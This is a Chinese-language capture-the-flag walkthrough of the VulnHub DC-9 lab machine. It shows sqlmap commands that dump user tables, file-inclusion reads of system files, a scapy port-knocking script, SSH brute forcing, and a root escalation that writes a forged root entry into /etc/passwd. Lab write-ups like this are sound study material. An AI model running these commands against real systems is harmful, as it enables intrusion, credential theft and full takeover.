靶機信息
官網:DC: 9 ~ VulnHub
只有一個flag,官網上沒給其他提示
信息收集
nmap 192.168.66.2-254
nmap 192.168.66.146 -A -p-
開放了80端口,22端口是filtered的,被過濾?
NMAP 六種端口狀態解讀_nmap filtered-CSDN博客
那來看看http服務吧
http(80)
頁腳是空白的,插件也沒有檢測到用什么框架,自己寫的嗎?
display.php頁面找到了一些用戶信息
results.php頁面能查找用戶,覺得有sql注入的可能
manage.php頁面是個登錄頁面,那么我們來看看results或者manage這兩個頁面有沒有sql注入吧
擱results.php找到了sql注入
python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D Staff -T Users -C "Password,UserID,Username" --dump
+----------------------------------+--------+----------+
| Password | UserID | Username |
+----------------------------------+--------+----------+
| 856f5de590ef37314e7c3bdf6f8a66dc | 1 | admin |
+----------------------------------+--------+----------+
MD5免費在線解密破解_MD5在線加密-SOMD5
密文解開是:transorbital1
登錄后臺
頁腳有個文件不存在,一下子就想到了之前的文件包含漏洞,也是頁腳文件的包含
包含上了,但是吧,php偽協議試過了,用不了
那就隨便翻翻系統的敏感文件吧
Linux常見的敏感目錄 - 樓–樓 - 博客園 (cnblogs.com)
windows和linux敏感文件記錄_滲透測試windows敏感文件-CSDN博客
linux調度器(十)——調度器/proc信息解讀 - delay瘋子 - 博客園 (cnblogs.com)
最后在/proc/sched_debug文件里找到了突破口
通過Knockd隱藏SSH,讓黑客看不見你的服務器-CSDN博客
ssh(22)
好家伙,難怪ssh信息收集的時候顯示filtered,原來使用knockd做了隱藏,那么我們需要端口敲門才行
包含knockd服務的配置文件來看開門條件
我們需要采用syn報文依次訪問7469,8475,9842端口才可以開啟22端口
python寫個敲門腳本
from scapy.all import *dst = "192.168.66.146"
sport = 5678
dports = [7469,8475,9842]
iface = "VMware Virtual Ethernet Adapter for VMnet1"for i in dports:dport=ipkt = IP(dst = dst)/TCP(sport = sport, dport = dport , flags = 'S')fb = sr (pkt,iface=iface ,timeout=1,verbose=0)print("敲門成功")
運行后再次對目標進行探測,發現22端口已經是開放狀態了
接著就是用戶名和密碼了,用戶名我們可以從/etc/passwd文件里獲取
密碼我在后面又發現了一個新的數據庫是users
python3 .\sqlmap.py -r C:\Users\N\Desktop\123.txt -D users -T UserDetails -C "firstname,id,lastname,password,reg_date,username" --dump
+-----------+----+------------+---------------+---------------------+-----------+
| firstname | id | lastname | password | reg_date | username |
+-----------+----+------------+---------------+---------------------+-----------+
| Mary | 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym |
| Julie | 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied |
| Fred | 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf |
| Barney | 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr |
| Tom | 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc |
| Jerry | 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym |
| Wilma | 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf |
| Betty | 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr |
| Chandler | 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb |
| Joey | 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt |
| Rachel | 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg |
| Ross | 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg |
| Monica | 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag |
| Phoebe | 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb |
| Scooter | 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots |
| Donald | 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor |
| Scott | 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 |
+-----------+----+------------+---------------+---------------------+-----------+
用拿到的用戶和密碼去爆破ssh,所有的信息匯總一下,一共是43個已知用戶名和18個已知密碼
多爆破兩次,出來了三個用戶名
chandlerb:UrAG0D!
janitor:Ilovepeepee
joeyt:Passw0rd
提權
三個用戶都能ssh登錄,但是只在janitor用戶里找到了線索
janitor用戶home里有個.secrets-for-putin文件夾
里面有一個密碼字典文件,我們給復制出來,然后接著用之前的用戶名去爆破
又出來個賬號密碼
fredf:B4-Tru3-001
我們擱sudo -l里看見了提權的線索,一個可以以root權限執行的文件
是個可執行文件,大概率是test.py編譯出來的
在/opt/devstuff目錄下發現了test.py文件
簡單,讀一個文件然后將內容寫入到另一個文件以root權限
linux默認不讓空密碼登錄,所以先生成一個密碼,然后仿造/etc/passwd文件的格式寫一個root權限格式的用戶
然后su切換過去就可以以root權限登陸了
cd /tmp
# 首先切換到tmp目錄防止權限問題
openssl passwd -1 -salt 123 123
# 生成加鹽密碼
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > 1.txt
# 偽造用戶信息
sudo /opt/devstuff/dist/test/test /tmp/1.txt /etc/passwd
# 寫入假用戶信息進/etc/passwd文件
flag
小結
這個靶機最讓我意想不到的是端口敲門,之前沒接觸過這種藏匿端口的方式
然后也接觸到了很多linux系統的敏感文件位置
然后就是用戶信息我們收集到就不要忽視,不斷擴大自己的字典去爆破
DC系列告一段落了,打下來還是有很多收獲的,擴寬了很多思路